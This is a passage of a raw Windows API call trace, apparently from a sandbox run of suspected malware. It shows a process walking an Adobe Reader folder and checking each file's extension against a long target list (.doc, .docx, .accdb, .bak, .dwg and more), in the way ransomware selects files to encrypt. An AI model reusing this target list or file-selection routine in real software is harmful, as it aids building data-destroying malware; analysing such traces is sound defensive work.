lstrlenW (lpString=".asmx") returned 5 [0268.880] lstrcmpiW (lpString1=".asmx", lpString2="r.css") returned -1 [0268.880] lstrlenW (lpString=".asp") returned 4 [0268.880] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0268.880] lstrlenW (lpString=".aspx") returned 5 [0268.880] lstrcmpiW (lpString1=".aspx", lpString2="r.css") returned -1 [0268.880] lstrlenW (lpString=".asr") returned 4 [0268.880] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0268.880] lstrlenW (lpString=".asx") returned 4 [0268.881] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0268.881] lstrlenW (lpString=".avi") returned 4 [0268.881] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0268.881] lstrlenW (lpString=".avs") returned 4 [0268.881] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0268.881] lstrlenW (lpString=".backup") returned 7 [0268.881] lstrcmpiW (lpString1=".backup", lpString2="tor.css") returned -1 [0268.881] lstrlenW (lpString=".bak") returned 4 [0268.881] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0268.881] lstrlenW (lpString=".bay") returned 4 [0268.881] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0268.881] lstrlenW (lpString=".bd") returned 3 [0268.881] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0268.881] lstrlenW (lpString=".bin") returned 4 [0268.881] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0268.881] lstrlenW (lpString=".bmp") returned 4 [0268.881] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0268.881] lstrlenW (lpString=".bz2") returned 4 [0268.881] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0268.882] lstrlenW (lpString=".c") returned 2 [0268.882] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0268.882] lstrlenW (lpString=".cdr") returned 4 [0268.882] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0268.882] lstrlenW (lpString=".cer") returned 4 [0268.882] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0268.882] lstrlenW (lpString=".cf") returned 3 [0268.882] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0268.882] lstrlenW (lpString=".cfc") returned 4 [0268.884] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0268.884] lstrlenW (lpString=".cfm") returned 4 [0268.884] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0268.884] lstrlenW (lpString=".cfml") returned 5 [0268.884] lstrcmpiW (lpString1=".cfml", lpString2="r.css") returned -1 [0268.884] lstrlenW (lpString=".cfu") returned 4 [0268.884] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0268.884] lstrlenW (lpString=".chm") returned 4 [0268.884] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0268.884] lstrlenW (lpString=".cin") returned 4 [0268.884] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0268.884] lstrlenW (lpString=".class") returned 6 [0268.884] lstrcmpiW (lpString1=".class", lpString2="or.css") returned -1 [0268.884] lstrlenW (lpString=".clx") returned 4 [0268.885] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0268.885] lstrlenW (lpString=".config") returned 7 [0268.885] lstrcmpiW (lpString1=".config", lpString2="tor.css") returned -1 [0268.885] lstrlenW (lpString=".cpp") returned 4 [0268.885] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0268.885] lstrlenW (lpString=".cr2") returned 4 [0268.885] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0268.885] lstrlenW (lpString=".crt") returned 4 [0268.885] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0268.885] lstrlenW (lpString=".crw") returned 4 [0268.885] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0268.885] lstrlenW (lpString=".cs") returned 3 [0268.885] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0268.885] lstrlenW (lpString=".css") returned 4 [0268.885] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0268.885] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1faf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1 [0268.885] lstrlenW (lpString="main.css") returned 8 [0268.885] lstrlenW (lpString=".1cd") returned 4 [0268.886] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0268.886] lstrlenW (lpString=".3ds") returned 4 [0268.886] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0268.886] lstrlenW (lpString=".3fr") returned 4 [0268.886] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0268.886] lstrlenW (lpString=".3g2") returned 4 [0268.886] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0268.886] lstrlenW (lpString=".3gp") returned 4 [0268.886] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0268.886] lstrlenW (lpString=".7z") returned 3 [0268.886] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0268.886] lstrlenW (lpString=".accda") returned 6 [0268.886] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1 [0268.886] lstrlenW (lpString=".accdb") returned 6 [0268.886] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1 [0268.886] lstrlenW (lpString=".accdc") returned 6 [0268.886] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1 [0268.886] lstrlenW (lpString=".accde") returned 6 [0268.887] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1 [0268.887] lstrlenW (lpString=".accdt") returned 6 [0268.887] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1 [0268.887] lstrlenW (lpString=".accdw") returned 6 [0268.887] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1 [0268.887] lstrlenW (lpString=".adb") returned 4 [0268.887] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0268.887] lstrlenW (lpString=".adp") returned 4 [0268.887] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0268.887] lstrlenW (lpString=".ai") returned 3 [0268.887] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0268.887] lstrlenW (lpString=".ai3") returned 4 [0268.887] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0269.093] lstrlenW (lpString=".ai4") returned 4 [0269.093] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0269.093] lstrlenW (lpString=".ai5") returned 4 [0269.093] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0269.093] lstrlenW (lpString=".ai6") returned 4 [0269.093] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0269.093] lstrlenW (lpString=".ai7") returned 4 [0269.094] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0269.094] lstrlenW (lpString=".ai8") returned 4 [0269.094] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0269.094] lstrlenW (lpString=".anim") returned 5 [0269.094] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1 [0269.094] lstrlenW (lpString=".arw") returned 4 [0269.094] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0269.094] lstrlenW (lpString=".as") returned 3 [0269.094] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0269.094] lstrlenW (lpString=".asa") returned 4 [0269.094] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0269.094] lstrlenW (lpString=".asc") returned 4 [0269.094] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0269.094] lstrlenW (lpString=".ascx") returned 5 [0269.094] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1 [0269.094] lstrlenW (lpString=".asm") returned 4 [0269.094] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0269.094] lstrlenW (lpString=".asmx") returned 5 [0269.094] lstrcmpiW (lpString1=".asmx", lpString2="n.css") returned -1 [0269.094] lstrlenW (lpString=".asp") returned 4 [0269.094] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0269.095] lstrlenW (lpString=".aspx") returned 5 [0269.095] lstrcmpiW (lpString1=".aspx", lpString2="n.css") returned -1 [0269.095] lstrlenW (lpString=".asr") returned 4 [0269.095] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0269.095] lstrlenW (lpString=".asx") returned 4 [0269.095] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0269.095] lstrlenW (lpString=".avi") returned 4 [0269.095] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0269.095] lstrlenW (lpString=".avs") returned 4 [0269.095] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0269.095] lstrlenW (lpString=".backup") returned 7 [0269.095] lstrcmpiW (lpString1=".backup", lpString2="ain.css") returned -1 [0269.095] lstrlenW (lpString=".bak") returned 4 [0269.095] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0269.096] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1faf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 0 [0269.096] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0269.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0269.096] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0269.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0269.099] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images") returned 113 [0269.099] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a70 [0269.103] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0269.103] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0269.104] lstrlenW (lpString="bg_patterns_header.png") returned 22 [0269.104] lstrlenW (lpString=".1cd") returned 4 [0269.104] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0269.104] lstrlenW (lpString=".3ds") returned 4 [0269.104] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0269.104] lstrlenW (lpString=".3fr") returned 4 [0269.104] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0269.104] lstrlenW (lpString=".3g2") returned 4 [0269.104] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0269.104] lstrlenW (lpString=".3gp") returned 4 [0269.104] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0269.104] lstrlenW (lpString=".7z") returned 3 [0269.104] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0269.104] lstrlenW (lpString=".accda") returned 6 [0269.104] lstrcmpiW (lpString1=".accda", lpString2="er.png") returned -1 [0269.104] lstrlenW (lpString=".accdb") returned 6 [0269.104] lstrcmpiW (lpString1=".accdb", lpString2="er.png") returned -1 [0269.104] lstrlenW (lpString=".accdc") returned 6 [0269.104] lstrcmpiW (lpString1=".accdc", lpString2="er.png") returned -1 [0269.104] lstrlenW (lpString=".accde") returned 6 [0269.104] lstrcmpiW (lpString1=".accde", lpString2="er.png") returned -1 [0269.105] lstrlenW (lpString=".accdt") returned 6 [0269.105] lstrcmpiW (lpString1=".accdt", lpString2="er.png") returned -1 [0269.105] lstrlenW (lpString=".accdw") returned 6 [0269.105] lstrcmpiW (lpString1=".accdw", lpString2="er.png") returned -1 [0269.105] lstrlenW (lpString=".adb") returned 4 [0269.105] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0269.105] lstrlenW (lpString=".adp") returned 4 [0269.105] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0269.105] lstrlenW (lpString=".ai") returned 3 [0269.105] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0269.105] lstrlenW (lpString=".ai3") returned 4 [0269.105] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0269.105] lstrlenW (lpString=".ai4") returned 4 [0269.105] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0269.105] lstrlenW (lpString=".ai5") returned 4 [0269.105] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0269.105] lstrlenW (lpString=".ai6") returned 4 [0269.105] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0269.106] lstrlenW (lpString=".ai7") returned 4 [0269.106] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0269.106] lstrlenW (lpString=".ai8") returned 4 [0269.106] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0269.106] lstrlenW (lpString=".anim") returned 5 [0269.106] lstrcmpiW (lpString1=".anim", lpString2="r.png") returned -1 [0269.106] lstrlenW (lpString=".arw") returned 4 [0269.106] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0269.106] lstrlenW (lpString=".as") returned 3 [0269.106] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0269.106] lstrlenW (lpString=".asa") returned 4 [0269.106] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0269.106] lstrlenW (lpString=".asc") returned 4 [0269.106] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0269.106] lstrlenW (lpString=".ascx") returned 5 [0269.107] lstrcmpiW (lpString1=".ascx", lpString2="r.png") returned -1 [0269.107] lstrlenW (lpString=".asm") returned 4 [0269.107] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0269.107] lstrlenW (lpString=".asmx") returned 5 [0269.107] lstrcmpiW (lpString1=".asmx", lpString2="r.png") returned -1 [0269.107] lstrlenW (lpString=".asp") returned 4 [0269.107] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0269.108] lstrlenW (lpString=".aspx") returned 5 [0269.108] lstrcmpiW (lpString1=".aspx", lpString2="r.png") returned -1 [0269.108] lstrlenW (lpString=".asr") returned 4 [0269.108] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0269.108] lstrlenW (lpString=".asx") returned 4 [0269.108] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0269.109] lstrlenW (lpString=".avi") returned 4 [0269.109] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0269.109] lstrlenW (lpString=".avs") returned 4 [0269.109] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0269.109] lstrlenW (lpString=".backup") returned 7 [0269.109] lstrcmpiW (lpString1=".backup", lpString2="der.png") returned -1 [0269.109] lstrlenW (lpString=".bak") returned 4 [0269.109] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0269.109] lstrlenW (lpString=".bay") returned 4 [0269.109] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0269.109] lstrlenW (lpString=".bd") returned 3 [0269.109] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0269.109] lstrlenW (lpString=".bin") returned 4 [0269.109] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0269.109] lstrlenW (lpString=".bmp") returned 4 [0269.109] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0269.109] lstrlenW (lpString=".bz2") returned 4 [0269.109] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0269.109] lstrlenW (lpString=".c") returned 2 [0269.109] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0269.109] lstrlenW (lpString=".cdr") returned 4 [0269.109] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0269.110] lstrlenW (lpString=".cer") returned 4 [0269.110] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0269.110] lstrlenW (lpString=".cf") returned 3 [0269.110] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0269.110] lstrlenW (lpString=".cfc") returned 4 [0269.110] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0269.110] lstrlenW (lpString=".cfm") returned 4 [0269.110] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0269.110] lstrlenW (lpString=".cfml") returned 5 [0269.110] lstrcmpiW (lpString1=".cfml", lpString2="r.png") returned -1 [0269.110] lstrlenW (lpString=".cfu") returned 4 [0269.110] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0269.110] lstrlenW (lpString=".chm") returned 4 [0269.110] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0269.110] lstrlenW (lpString=".cin") returned 4 [0269.110] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0269.110] lstrlenW (lpString=".class") returned 6 [0269.110] lstrcmpiW (lpString1=".class", lpString2="er.png") returned -1 [0269.110] lstrlenW (lpString=".clx") returned 4 [0269.110] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0269.110] lstrlenW (lpString=".config") returned 7 [0269.110] lstrcmpiW (lpString1=".config", lpString2="der.png") returned -1 [0269.110] lstrlenW (lpString=".cpp") returned 4 [0269.111] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0269.111] lstrlenW (lpString=".cr2") returned 4 [0269.111] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0269.111] lstrlenW (lpString=".crt") returned 4 [0269.111] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0269.111] lstrlenW (lpString=".crw") returned 4 [0269.111] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0269.111] lstrlenW (lpString=".cs") returned 3 [0269.111] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0269.111] lstrlenW (lpString=".css") returned 4 [0269.111] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0269.111] lstrlenW (lpString=".csv") returned 4 [0269.111] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0269.111] lstrlenW (lpString=".cub") returned 4 [0269.111] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0269.111] lstrlenW (lpString=".dae") returned 4 [0269.111] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0269.111] lstrlenW (lpString=".dat") returned 4 [0269.111] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0269.111] lstrlenW (lpString=".db") returned 3 [0269.111] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0269.111] lstrlenW (lpString=".dbf") returned 4 [0269.112] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0269.112] lstrlenW (lpString=".dbx") returned 4 [0269.112] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0269.112] lstrlenW (lpString=".dc3") returned 4 [0269.112] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0269.112] lstrlenW (lpString=".dcm") returned 4 [0269.112] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0269.112] lstrlenW (lpString=".dcr") returned 4 [0269.112] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0269.112] lstrlenW (lpString=".der") returned 4 [0269.112] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0269.112] lstrlenW (lpString=".dib") returned 4 [0269.112] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0269.112] lstrlenW (lpString=".dic") returned 4 [0269.112] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0269.112] lstrlenW (lpString=".dif") returned 4 [0269.112] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0269.112] lstrlenW (lpString=".divx") returned 5 [0269.112] lstrcmpiW (lpString1=".divx", lpString2="r.png") returned -1 [0269.112] lstrlenW (lpString=".djvu") returned 5 [0269.113] lstrcmpiW (lpString1=".djvu", lpString2="r.png") returned -1 [0269.113] lstrlenW (lpString=".dng") returned 4 [0269.113] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0269.113] lstrlenW (lpString=".doc") returned 4 [0269.113] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0269.113] lstrlenW (lpString=".docm") returned 5 [0269.113] lstrcmpiW (lpString1=".docm", lpString2="r.png") returned -1 [0269.113] lstrlenW (lpString=".docx") returned 5 [0269.113] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0269.113] lstrlenW (lpString=".dot") returned 4 [0269.113] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0269.113] lstrlenW (lpString=".dotm") returned 5 [0269.113] lstrcmpiW (lpString1=".dotm", lpString2="r.png") returned -1 [0269.113] lstrlenW (lpString=".dotx") returned 5 [0269.113] lstrcmpiW (lpString1=".dotx", lpString2="r.png") returned -1 [0269.113] lstrlenW (lpString=".dpx") returned 4 [0269.113] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0269.113] lstrlenW (lpString=".dqy") returned 4 [0269.113] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0269.113] lstrlenW (lpString=".dsn") returned 4 [0269.113] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0269.113] lstrlenW (lpString=".dt") returned 3 [0269.113] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0269.113] lstrlenW (lpString=".dtd") returned 4 [0269.114] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0269.114] lstrlenW (lpString=".dwg") returned 4 [0269.114] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0269.114] lstrlenW (lpString=".dwt") returned 4 [0269.114] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0269.114] lstrlenW (lpString=".dx") returned 3 [0269.114] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0269.114] lstrlenW (lpString=".dxf") returned 4 [0269.114] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0269.114] lstrlenW (lpString=".edml") returned 5 [0269.114] lstrcmpiW (lpString1=".edml", lpString2="r.png") returned -1 [0269.114] lstrlenW (lpString=".efd") returned 4 [0269.114] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0269.114] lstrlenW (lpString=".elf") returned 4 [0269.114] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0269.114] lstrlenW (lpString=".emf") returned 4 [0269.114] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0269.114] lstrlenW (lpString=".emz") returned 4 [0269.114] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0269.114] lstrlenW (lpString=".epf") returned 4 [0269.114] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0269.114] lstrlenW (lpString=".eps") returned 4 [0269.114] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0269.114] lstrlenW (lpString=".epsf") returned 5 [0269.115] lstrcmpiW (lpString1=".epsf", lpString2="r.png") returned -1 [0269.115] lstrlenW (lpString=".epsp") returned 5 [0269.115] lstrcmpiW (lpString1=".epsp", lpString2="r.png") returned -1 [0269.115] lstrlenW (lpString=".erf") returned 4 [0269.115] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0269.115] lstrlenW (lpString=".exr") returned 4 [0269.115] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0269.115] lstrlenW (lpString=".f4v") returned 4 [0269.115] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0269.115] lstrlenW (lpString=".fido") returned 5 [0269.115] lstrcmpiW (lpString1=".fido", lpString2="r.png") returned -1 [0269.115] lstrlenW (lpString=".flm") returned 4 [0269.115] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0269.115] lstrlenW (lpString=".flv") returned 4 [0269.115] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0269.115] lstrlenW (lpString=".frm") returned 4 [0269.115] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0269.115] lstrlenW (lpString=".fxg") returned 4 [0269.115] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0269.115] lstrlenW (lpString=".geo") returned 4 [0269.115] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0269.115] lstrlenW (lpString=".gif") returned 4 [0269.115] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0269.115] lstrlenW (lpString=".grs") returned 4 [0269.115] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0269.116] lstrlenW (lpString=".gz") returned 3 [0269.116] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0269.116] lstrlenW (lpString=".h") returned 2 [0269.116] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0269.116] lstrlenW (lpString=".hdr") returned 4 [0269.116] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0269.116] lstrlenW (lpString=".hpp") returned 4 [0269.116] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0269.116] lstrlenW (lpString=".hta") returned 4 [0269.116] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0269.116] lstrlenW (lpString=".htc") returned 4 [0269.116] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0269.116] lstrlenW (lpString=".htm") returned 4 [0269.116] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0269.116] lstrlenW (lpString=".html") returned 5 [0269.116] lstrcmpiW (lpString1=".html", lpString2="r.png") returned -1 [0269.116] lstrlenW (lpString=".icb") returned 4 [0269.116] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0269.116] lstrlenW (lpString=".ics") returned 4 [0269.116] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0269.116] lstrlenW (lpString=".iff") returned 4 [0269.116] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0269.117] lstrlenW (lpString=".inc") returned 4 [0269.117] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0269.117] lstrlenW (lpString=".indd") returned 5 [0269.117] lstrcmpiW (lpString1=".indd", lpString2="r.png") returned -1 [0269.117] lstrlenW (lpString=".ini") returned 4 [0269.117] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0269.117] lstrlenW (lpString=".iqy") returned 4 [0269.117] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0269.117] lstrlenW (lpString=".j2c") returned 4 [0269.117] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0269.117] 